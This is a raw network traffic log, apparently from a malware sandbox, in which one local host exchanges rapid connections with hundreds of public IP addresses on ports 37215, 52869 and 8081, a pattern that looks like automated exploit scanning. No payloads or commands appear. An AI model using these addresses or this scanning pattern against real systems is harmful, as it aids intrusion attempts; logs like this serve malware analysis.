Jul 20, 2024 23:05:42.932681084 CEST	37215	44719	97.220.1.144	192.168.2.13
Jul 20, 2024 23:05:42.932699919 CEST	37215	44719	197.168.78.30	192.168.2.13
Jul 20, 2024 23:05:42.932704926 CEST	37215	44719	41.238.236.221	192.168.2.13
Jul 20, 2024 23:05:42.932717085 CEST	37215	44719	197.2.123.210	192.168.2.13
Jul 20, 2024 23:05:42.932723045 CEST	37215	44719	41.10.211.13	192.168.2.13
Jul 20, 2024 23:05:42.932734013 CEST	8081	43439	158.89.74.26	192.168.2.13
Jul 20, 2024 23:05:42.932739019 CEST	37215	44719	41.32.97.41	192.168.2.13
Jul 20, 2024 23:05:42.932744980 CEST	8081	43439	198.7.187.163	192.168.2.13
Jul 20, 2024 23:05:42.933191061 CEST	43695	52869	192.168.2.13	167.250.89.184
Jul 20, 2024 23:05:42.933191061 CEST	43695	52869	192.168.2.13	212.136.110.23
Jul 20, 2024 23:05:42.933192015 CEST	43695	52869	192.168.2.13	197.40.245.207
Jul 20, 2024 23:05:42.933192015 CEST	43695	52869	192.168.2.13	66.180.53.181
Jul 20, 2024 23:05:42.933192015 CEST	43695	52869	192.168.2.13	101.110.206.115
Jul 20, 2024 23:05:42.933192015 CEST	43695	52869	192.168.2.13	199.180.85.128
Jul 20, 2024 23:05:42.933192015 CEST	43695	52869	192.168.2.13	1.64.15.249
Jul 20, 2024 23:05:42.933377981 CEST	37215	44719	41.84.163.44	192.168.2.13
Jul 20, 2024 23:05:42.933392048 CEST	8081	43439	13.184.93.228	192.168.2.13
Jul 20, 2024 23:05:42.933408976 CEST	37215	44719	157.61.169.149	192.168.2.13
Jul 20, 2024 23:05:42.933414936 CEST	8081	43439	159.225.34.140	192.168.2.13
Jul 20, 2024 23:05:42.933425903 CEST	37215	44719	157.107.34.151	192.168.2.13
Jul 20, 2024 23:05:42.933438063 CEST	8081	43439	199.120.4.96	192.168.2.13
Jul 20, 2024 23:05:42.933453083 CEST	37215	44719	41.143.95.143	192.168.2.13
Jul 20, 2024 23:05:42.933480024 CEST	44719	37215	192.168.2.13	71.20.35.154
Jul 20, 2024 23:05:42.933480024 CEST	44719	37215	192.168.2.13	157.35.118.76
Jul 20, 2024 23:05:42.933480024 CEST	44719	37215	192.168.2.13	41.240.77.159
Jul 20, 2024 23:05:42.933480024 CEST	43439	8081	192.168.2.13	121.3.253.56
Jul 20, 2024 23:05:42.933480024 CEST	43439	8081	192.168.2.13	121.149.130.96
Jul 20, 2024 23:05:42.933480024 CEST	43439	8081	192.168.2.13	209.34.242.122
Jul 20, 2024 23:05:42.933480024 CEST	43439	8081	192.168.2.13	31.40.53.45
Jul 20, 2024 23:05:42.933480024 CEST	43439	8081	192.168.2.13	89.3.102.202
Jul 20, 2024 23:05:42.933506966 CEST	8081	43439	180.253.244.144	192.168.2.13
Jul 20, 2024 23:05:42.933523893 CEST	37215	44719	157.48.130.13	192.168.2.13
Jul 20, 2024 23:05:42.933530092 CEST	8081	43439	193.221.242.136	192.168.2.13
Jul 20, 2024 23:05:42.933542013 CEST	37215	44719	218.110.31.50	192.168.2.13
Jul 20, 2024 23:05:42.933549881 CEST	8081	43439	223.83.115.203	192.168.2.13
Jul 20, 2024 23:05:42.933568001 CEST	37215	44719	140.104.254.186	192.168.2.13
Jul 20, 2024 23:05:42.933579922 CEST	8081	43439	154.100.85.220	192.168.2.13
Jul 20, 2024 23:05:42.933585882 CEST	37215	44719	157.49.92.180	192.168.2.13
Jul 20, 2024 23:05:42.933653116 CEST	8081	43439	115.16.203.134	192.168.2.13
Jul 20, 2024 23:05:42.933671951 CEST	37215	44719	41.12.140.174	192.168.2.13
Jul 20, 2024 23:05:42.933677912 CEST	8081	43439	222.118.182.128	192.168.2.13
Jul 20, 2024 23:05:42.933695078 CEST	37215	44719	197.235.131.3	192.168.2.13
Jul 20, 2024 23:05:42.933701038 CEST	8081	43439	97.36.86.247	192.168.2.13
Jul 20, 2024 23:05:42.933706999 CEST	37215	44719	197.216.62.19	192.168.2.13
Jul 20, 2024 23:05:42.934166908 CEST	8081	43439	185.112.52.81	192.168.2.13
Jul 20, 2024 23:05:42.934179068 CEST	37215	44719	37.69.240.238	192.168.2.13
Jul 20, 2024 23:05:42.934329987 CEST	52869	43695	131.25.90.191	192.168.2.13
Jul 20, 2024 23:05:42.934344053 CEST	37215	44719	32.255.184.167	192.168.2.13
Jul 20, 2024 23:05:42.934350014 CEST	52869	43695	147.234.248.111	192.168.2.13
Jul 20, 2024 23:05:42.934367895 CEST	37215	44719	197.15.17.31	192.168.2.13
Jul 20, 2024 23:05:42.934381008 CEST	52869	43695	132.196.14.218	192.168.2.13
Jul 20, 2024 23:05:42.934400082 CEST	37215	44719	157.154.38.60	192.168.2.13
Jul 20, 2024 23:05:42.934406042 CEST	52869	43695	104.209.167.72	192.168.2.13
Jul 20, 2024 23:05:42.934427977 CEST	37215	44719	126.93.78.12	192.168.2.13
Jul 20, 2024 23:05:42.934439898 CEST	52869	43695	77.33.109.42	192.168.2.13
Jul 20, 2024 23:05:42.934446096 CEST	37215	44719	201.172.56.49	192.168.2.13
Jul 20, 2024 23:05:42.934463024 CEST	52869	43695	114.201.32.61	192.168.2.13
Jul 20, 2024 23:05:42.934475899 CEST	37215	44719	157.71.169.209	192.168.2.13
Jul 20, 2024 23:05:42.934487104 CEST	52869	43695	177.198.190.22	192.168.2.13
Jul 20, 2024 23:05:42.934499025 CEST	37215	44719	177.108.93.186	192.168.2.13
Jul 20, 2024 23:05:42.934509993 CEST	52869	43695	149.99.135.221	192.168.2.13
Jul 20, 2024 23:05:42.934521914 CEST	37215	44719	191.20.4.86	192.168.2.13
Jul 20, 2024 23:05:42.934529066 CEST	52869	43695	131.168.94.2	192.168.2.13
Jul 20, 2024 23:05:42.934694052 CEST	37215	44719	157.8.71.123	192.168.2.13
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	87.90.253.110
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	61.230.232.242
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	136.53.47.224
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	179.34.23.229
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	132.103.147.191
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	147.13.123.150
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	53.26.123.55
Jul 20, 2024 23:05:42.935409069 CEST	43695	52869	192.168.2.13	66.27.204.238
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	221.23.122.130
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	77.219.164.150
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	178.250.77.159
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	108.175.64.63
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	189.221.63.100
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	144.128.51.24
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	2.99.117.159
Jul 20, 2024 23:05:42.936304092 CEST	43439	8081	192.168.2.13	4.251.63.250
Jul 20, 2024 23:05:42.936781883 CEST	44719	37215	192.168.2.13	41.238.236.221
Jul 20, 2024 23:05:42.936781883 CEST	44719	37215	192.168.2.13	41.10.211.13
Jul 20, 2024 23:05:42.936781883 CEST	44719	37215	192.168.2.13	41.32.97.41
Jul 20, 2024 23:05:42.936781883 CEST	44719	37215	192.168.2.13	41.84.163.44
Jul 20, 2024 23:05:42.936781883 CEST	44719	37215	192.168.2.13	157.61.169.149
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	211.237.153.101
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	54.11.15.117
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	210.254.97.122
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	213.168.79.218
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	140.231.6.88
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	182.237.71.93
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	91.70.246.106
Jul 20, 2024 23:05:42.938174009 CEST	43695	52869	192.168.2.13	210.36.186.58
Jul 20, 2024 23:05:42.938955069 CEST	44719	37215	192.168.2.13	197.244.220.89
Jul 20, 2024 23:05:42.938956022 CEST	44719	37215	192.168.2.13	197.251.231.227
Jul 20, 2024 23:05:42.939050913 CEST	43439	8081	192.168.2.13	156.121.193.100
Jul 20, 2024 23:05:42.939050913 CEST	43439	8081	192.168.2.13	82.3.201.73
Jul 20, 2024 23:05:42.939050913 CEST	43439	8081	192.168.2.13	178.141.249.196
Jul 20, 2024 23:05:42.939050913 CEST	43439	8081	192.168.2.13	101.4.222.81
Jul 20, 2024 23:05:42.939050913 CEST	43439	8081	192.168.2.13	194.234.46.122
Jul 20, 2024 23:05:42.939050913 CEST	43439	8081	192.168.2.13	24.82.211.229
Jul 20, 2024 23:05:42.939050913 CEST	43695	52869	192.168.2.13	167.163.98.112
Jul 20, 2024 23:05:42.939050913 CEST	43695	52869	192.168.2.13	43.51.158.252
Jul 20, 2024 23:05:42.940763950 CEST	43695	52869	192.168.2.13	139.189.40.221
Jul 20, 2024 23:05:42.940763950 CEST	43695	52869	192.168.2.13	102.39.62.215
Jul 20, 2024 23:05:42.940763950 CEST	43695	52869	192.168.2.13	208.214.48.109
Jul 20, 2024 23:05:42.940763950 CEST	43695	52869	192.168.2.13	135.248.140.120
Jul 20, 2024 23:05:42.940764904 CEST	43695	52869	192.168.2.13	37.75.240.126
Jul 20, 2024 23:05:42.940764904 CEST	43695	52869	192.168.2.13	147.83.200.32
Jul 20, 2024 23:05:42.940764904 CEST	43695	52869	192.168.2.13	68.231.43.237
Jul 20, 2024 23:05:42.940764904 CEST	43695	52869	192.168.2.13	166.58.251.38
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	105.135.184.78
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	150.15.202.10
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	161.236.8.179
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	207.60.191.11
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	48.66.150.177
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	46.78.45.208
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	203.241.241.201
Jul 20, 2024 23:05:42.941576958 CEST	43695	52869	192.168.2.13	161.11.228.181
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	208.116.151.205
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	118.68.52.30
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	199.101.25.86
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	201.121.10.182
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	112.207.85.211
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	151.16.139.214
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	42.99.96.202
Jul 20, 2024 23:05:42.943377018 CEST	43695	52869	192.168.2.13	182.48.70.137
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	167.54.145.81
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	191.28.127.170
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	140.169.97.32
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	186.162.245.57
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	8.40.178.238
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	94.174.75.156
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	50.224.65.140
Jul 20, 2024 23:05:42.944207907 CEST	43695	52869	192.168.2.13	173.7.63.87
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	113.21.107.163
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	157.65.167.85
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	197.55.249.158
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	99.188.208.82
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	41.128.224.64
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	41.232.17.134
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	157.255.143.206
Jul 20, 2024 23:05:42.945322990 CEST	44719	37215	192.168.2.13	184.173.82.107
Jul 20, 2024 23:05:42.946928978 CEST	43695	52869	192.168.2.13	188.221.239.227
Jul 20, 2024 23:05:42.946928978 CEST	43695	52869	192.168.2.13	135.125.21.122
Jul 20, 2024 23:05:42.946928978 CEST	43695	52869	192.168.2.13	2.214.164.126
Jul 20, 2024 23:05:42.946928978 CEST	43695	52869	192.168.2.13	43.221.222.161
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	88.240.193.116
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	178.167.86.245
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	151.233.2.179
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	38.111.50.124
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	177.150.171.101
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	128.248.15.101
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	200.221.203.167
Jul 20, 2024 23:05:42.949506998 CEST	43695	52869	192.168.2.13	149.27.116.35
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	157.107.34.151
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	41.143.95.143
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	157.48.130.13
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	218.110.31.50
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	140.104.254.186
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	157.49.92.180
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	41.12.140.174
Jul 20, 2024 23:05:42.951091051 CEST	44719	37215	192.168.2.13	197.235.131.3
Jul 20, 2024 23:05:42.952089071 CEST	44719	37215	192.168.2.13	41.89.33.105
Jul 20, 2024 23:05:42.952089071 CEST	44719	37215	192.168.2.13	171.248.172.64
Jul 20, 2024 23:05:42.952089071 CEST	44719	37215	192.168.2.13	157.23.155.0
Jul 20, 2024 23:05:42.952090025 CEST	44719	37215	192.168.2.13	41.206.98.162
Jul 20, 2024 23:05:42.952090025 CEST	44719	37215	192.168.2.13	197.43.97.58
Jul 20, 2024 23:05:42.952090025 CEST	44719	37215	192.168.2.13	197.31.167.242
Jul 20, 2024 23:05:42.952090025 CEST	44719	37215	192.168.2.13	92.155.50.98
Jul 20, 2024 23:05:42.952090025 CEST	44719	37215	192.168.2.13	197.107.136.142
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	86.176.24.197
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	145.159.39.98
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	99.138.247.46
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	101.55.243.209
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	184.204.69.205
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	157.233.31.216
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	160.139.135.198
Jul 20, 2024 23:05:42.954006910 CEST	43695	52869	192.168.2.13	59.199.104.166
Jul 20, 2024 23:05:42.955085993 CEST	35442	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	197.216.62.19
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	37.69.240.238
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	32.255.184.167
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	197.15.17.31
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	157.154.38.60
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	126.93.78.12
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	201.172.56.49
Jul 20, 2024 23:05:42.955887079 CEST	44719	37215	192.168.2.13	157.71.169.209
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	157.2.1.205
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	41.224.103.104
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	41.142.74.166
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	197.140.192.70
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	157.130.164.249
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	173.17.184.249
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	157.6.50.167
Jul 20, 2024 23:05:42.957012892 CEST	44719	37215	192.168.2.13	157.30.139.226
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	50.46.254.201
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	154.99.42.193
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	52.148.84.244
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	220.92.67.242
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	210.252.233.178
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	147.58.255.206
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	116.0.99.214
Jul 20, 2024 23:05:42.959573984 CEST	43695	52869	192.168.2.13	130.91.114.118
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	157.97.8.66
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	41.214.20.184
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	157.170.103.18
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	197.178.77.153
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	157.46.233.240
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	186.185.77.67
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	64.190.69.131
Jul 20, 2024 23:05:42.960849047 CEST	44719	37215	192.168.2.13	189.109.206.172
Jul 20, 2024 23:05:42.961065054 CEST	44719	37215	192.168.2.13	177.108.93.186
Jul 20, 2024 23:05:42.961065054 CEST	44719	37215	192.168.2.13	191.20.4.86
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	219.110.33.210
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	110.216.242.18
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	141.48.127.206
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	68.3.197.245
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	39.84.155.186
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	9.199.190.154
Jul 20, 2024 23:05:42.964133024 CEST	43695	52869	192.168.2.13	107.151.98.255
Jul 20, 2024 23:05:42.964133978 CEST	43695	52869	192.168.2.13	128.234.115.135
Jul 20, 2024 23:05:42.965034962 CEST	44719	37215	192.168.2.13	97.220.1.144
Jul 20, 2024 23:05:42.965034962 CEST	44719	37215	192.168.2.13	197.168.78.30
Jul 20, 2024 23:05:42.965034962 CEST	44719	37215	192.168.2.13	197.2.123.210
Jul 20, 2024 23:05:42.965034962 CEST	43439	8081	192.168.2.13	158.89.74.26
Jul 20, 2024 23:05:42.965034962 CEST	43439	8081	192.168.2.13	198.7.187.163
Jul 20, 2024 23:05:42.965034962 CEST	43439	8081	192.168.2.13	13.184.93.228
Jul 20, 2024 23:05:42.965034962 CEST	43439	8081	192.168.2.13	159.225.34.140
Jul 20, 2024 23:05:42.965233088 CEST	37215	44719	157.8.71.123	192.168.2.13
Jul 20, 2024 23:05:42.965238094 CEST	52869	43695	8.3.158.203	192.168.2.13
Jul 20, 2024 23:05:42.965246916 CEST	37215	44719	197.154.101.78	192.168.2.13
Jul 20, 2024 23:05:42.965248108 CEST	52869	43695	57.72.21.67	192.168.2.13
Jul 20, 2024 23:05:42.965250015 CEST	37215	44719	157.155.11.108	192.168.2.13
Jul 20, 2024 23:05:42.965255022 CEST	8081	43439	53.239.4.87	192.168.2.13
Jul 20, 2024 23:05:42.965261936 CEST	52869	43695	211.34.140.164	192.168.2.13
Jul 20, 2024 23:05:42.965267897 CEST	37215	44719	41.10.48.50	192.168.2.13
Jul 20, 2024 23:05:42.965270042 CEST	8081	43439	88.130.134.141	192.168.2.13
Jul 20, 2024 23:05:42.965270996 CEST	37215	44719	197.95.153.232	192.168.2.13
Jul 20, 2024 23:05:42.965272903 CEST	52869	43695	141.105.184.73	192.168.2.13
Jul 20, 2024 23:05:42.965274096 CEST	52869	43695	141.109.75.38	192.168.2.13
Jul 20, 2024 23:05:42.965276957 CEST	52869	43695	182.11.68.244	192.168.2.13
Jul 20, 2024 23:05:42.965277910 CEST	37215	44719	151.55.28.147	192.168.2.13
Jul 20, 2024 23:05:42.965280056 CEST	44719	37215	192.168.2.13	157.8.71.123
Jul 20, 2024 23:05:42.965284109 CEST	52869	43695	111.170.120.110	192.168.2.13
Jul 20, 2024 23:05:42.965285063 CEST	52869	43695	61.176.42.208	192.168.2.13
Jul 20, 2024 23:05:42.965286970 CEST	52869	43695	124.148.203.199	192.168.2.13
Jul 20, 2024 23:05:42.965287924 CEST	8081	43439	133.186.10.243	192.168.2.13
Jul 20, 2024 23:05:42.965291023 CEST	44719	37215	192.168.2.13	157.155.11.108
Jul 20, 2024 23:05:42.965291023 CEST	43695	52869	192.168.2.13	57.72.21.67
Jul 20, 2024 23:05:42.965293884 CEST	52869	43695	193.131.171.67	192.168.2.13
Jul 20, 2024 23:05:42.965295076 CEST	52869	43695	79.231.155.222	192.168.2.13
Jul 20, 2024 23:05:42.965303898 CEST	52869	43695	68.32.243.101	192.168.2.13
Jul 20, 2024 23:05:42.965306044 CEST	8081	43439	208.41.47.11	192.168.2.13
Jul 20, 2024 23:05:42.965307951 CEST	8081	43439	189.218.204.214	192.168.2.13
Jul 20, 2024 23:05:42.965308905 CEST	52869	43695	221.20.233.34	192.168.2.13
Jul 20, 2024 23:05:42.965310097 CEST	52869	43695	41.121.158.240	192.168.2.13
Jul 20, 2024 23:05:42.965312004 CEST	44719	37215	192.168.2.13	151.55.28.147
Jul 20, 2024 23:05:42.965308905 CEST	43439	8081	192.168.2.13	53.239.4.87
Jul 20, 2024 23:05:42.965315104 CEST	52869	43695	217.209.199.203	192.168.2.13
Jul 20, 2024 23:05:42.965316057 CEST	52869	43695	136.238.219.134	192.168.2.13
Jul 20, 2024 23:05:42.965308905 CEST	44719	37215	192.168.2.13	41.10.48.50
Jul 20, 2024 23:05:42.965318918 CEST	52869	43695	205.2.21.251	192.168.2.13
Jul 20, 2024 23:05:42.965320110 CEST	52869	43695	179.69.131.26	192.168.2.13
Jul 20, 2024 23:05:42.965326071 CEST	52869	43695	78.5.213.247	192.168.2.13
Jul 20, 2024 23:05:42.965327024 CEST	37215	44719	157.15.207.151	192.168.2.13
Jul 20, 2024 23:05:42.965329885 CEST	52869	43695	151.204.143.244	192.168.2.13
Jul 20, 2024 23:05:42.965332985 CEST	52869	43695	108.162.80.93	192.168.2.13
Jul 20, 2024 23:05:42.965334892 CEST	8081	43439	113.135.5.178	192.168.2.13
Jul 20, 2024 23:05:42.965342045 CEST	52869	43695	36.90.25.192	192.168.2.13
Jul 20, 2024 23:05:42.965342999 CEST	52869	43695	217.51.43.48	192.168.2.13
Jul 20, 2024 23:05:42.965343952 CEST	52869	43695	72.89.88.22	192.168.2.13
Jul 20, 2024 23:05:42.965346098 CEST	8081	43439	133.117.5.135	192.168.2.13
Jul 20, 2024 23:05:42.965348005 CEST	52869	43695	121.210.4.137	192.168.2.13
Jul 20, 2024 23:05:42.965353012 CEST	52869	43695	196.90.159.147	192.168.2.13
Jul 20, 2024 23:05:42.965351105 CEST	43695	52869	192.168.2.13	41.121.158.240
Jul 20, 2024 23:05:42.965354919 CEST	37215	44719	197.85.11.121	192.168.2.13
Jul 20, 2024 23:05:42.965357065 CEST	8081	43439	110.203.115.173	192.168.2.13
Jul 20, 2024 23:05:42.965358019 CEST	8081	43439	97.164.13.210	192.168.2.13
Jul 20, 2024 23:05:42.965359926 CEST	52869	43695	23.42.144.28	192.168.2.13
Jul 20, 2024 23:05:42.965362072 CEST	52869	43695	216.114.52.191	192.168.2.13
Jul 20, 2024 23:05:42.965364933 CEST	52869	43695	1.180.201.49	192.168.2.13
Jul 20, 2024 23:05:42.965367079 CEST	52869	43695	181.146.208.210	192.168.2.13
Jul 20, 2024 23:05:42.965378046 CEST	8081	43439	165.155.156.73	192.168.2.13
Jul 20, 2024 23:05:42.965387106 CEST	52869	43695	23.144.175.205	192.168.2.13
Jul 20, 2024 23:05:42.965393066 CEST	52869	43695	39.201.186.201	192.168.2.13
Jul 20, 2024 23:05:42.965394020 CEST	52869	43695	104.75.109.195	192.168.2.13
Jul 20, 2024 23:05:42.965395927 CEST	37215	44719	157.139.184.79	192.168.2.13
Jul 20, 2024 23:05:42.965400934 CEST	8081	43439	43.107.9.138	192.168.2.13
Jul 20, 2024 23:05:42.965401888 CEST	52869	43695	223.239.95.215	192.168.2.13
Jul 20, 2024 23:05:42.965404034 CEST	52869	43695	120.233.134.82	192.168.2.13
Jul 20, 2024 23:05:42.965421915 CEST	52869	43695	206.115.178.76	192.168.2.13
Jul 20, 2024 23:05:42.965430021 CEST	52869	43695	155.125.167.15	192.168.2.13
Jul 20, 2024 23:05:42.965432882 CEST	37215	44719	41.133.190.153	192.168.2.13
Jul 20, 2024 23:05:42.965435028 CEST	52869	43695	121.218.237.133	192.168.2.13
Jul 20, 2024 23:05:42.965437889 CEST	8081	43439	130.69.8.99	192.168.2.13
Jul 20, 2024 23:05:42.965439081 CEST	52869	43695	153.81.254.40	192.168.2.13
Jul 20, 2024 23:05:42.965440989 CEST	37215	44719	57.82.29.20	192.168.2.13
Jul 20, 2024 23:05:42.965441942 CEST	52869	43695	126.97.14.80	192.168.2.13
Jul 20, 2024 23:05:42.965446949 CEST	8081	43439	49.213.182.90	192.168.2.13
Jul 20, 2024 23:05:42.965447903 CEST	52869	43695	217.220.59.11	192.168.2.13
Jul 20, 2024 23:05:42.965450048 CEST	52869	43695	44.76.49.187	192.168.2.13
Jul 20, 2024 23:05:42.965451002 CEST	52869	43695	82.86.14.146	192.168.2.13
Jul 20, 2024 23:05:42.965454102 CEST	37215	44719	157.51.241.77	192.168.2.13
Jul 20, 2024 23:05:42.965456009 CEST	37215	44719	157.33.160.150	192.168.2.13
Jul 20, 2024 23:05:42.965462923 CEST	52869	43695	185.244.8.162	192.168.2.13
Jul 20, 2024 23:05:42.965466022 CEST	8081	43439	158.1.91.162	192.168.2.13
Jul 20, 2024 23:05:42.965471029 CEST	52869	43695	34.193.46.111	192.168.2.13
Jul 20, 2024 23:05:42.965472937 CEST	52869	43695	17.167.239.49	192.168.2.13
Jul 20, 2024 23:05:42.965476036 CEST	52869	43695	1.65.186.95	192.168.2.13
Jul 20, 2024 23:05:42.965476990 CEST	8081	43439	144.238.42.219	192.168.2.13
Jul 20, 2024 23:05:42.965481043 CEST	52869	43695	131.223.219.210	192.168.2.13
Jul 20, 2024 23:05:42.965487957 CEST	37215	44719	157.137.95.250	192.168.2.13
Jul 20, 2024 23:05:42.965488911 CEST	8081	43439	42.138.237.235	192.168.2.13
Jul 20, 2024 23:05:42.965492964 CEST	52869	43695	9.39.25.145	192.168.2.13
Jul 20, 2024 23:05:42.965495110 CEST	52869	43695	44.194.56.186	192.168.2.13
Jul 20, 2024 23:05:42.965500116 CEST	52869	43695	145.59.179.22	192.168.2.13
Jul 20, 2024 23:05:42.965501070 CEST	8081	43439	150.241.45.88	192.168.2.13
Jul 20, 2024 23:05:42.965502024 CEST	37215	44719	157.102.72.60	192.168.2.13
Jul 20, 2024 23:05:42.965506077 CEST	52869	43695	188.56.104.207	192.168.2.13
Jul 20, 2024 23:05:42.965507030 CEST	8081	43439	134.231.248.130	192.168.2.13
Jul 20, 2024 23:05:42.965512037 CEST	37215	44719	41.209.58.254	192.168.2.13
Jul 20, 2024 23:05:42.965512991 CEST	52869	43695	166.100.244.149	192.168.2.13
Jul 20, 2024 23:05:42.965518951 CEST	37215	44719	129.142.127.42	192.168.2.13
Jul 20, 2024 23:05:42.965522051 CEST	37215	44719	157.0.73.248	192.168.2.13
Jul 20, 2024 23:05:42.965533018 CEST	52869	43695	57.57.237.2	192.168.2.13
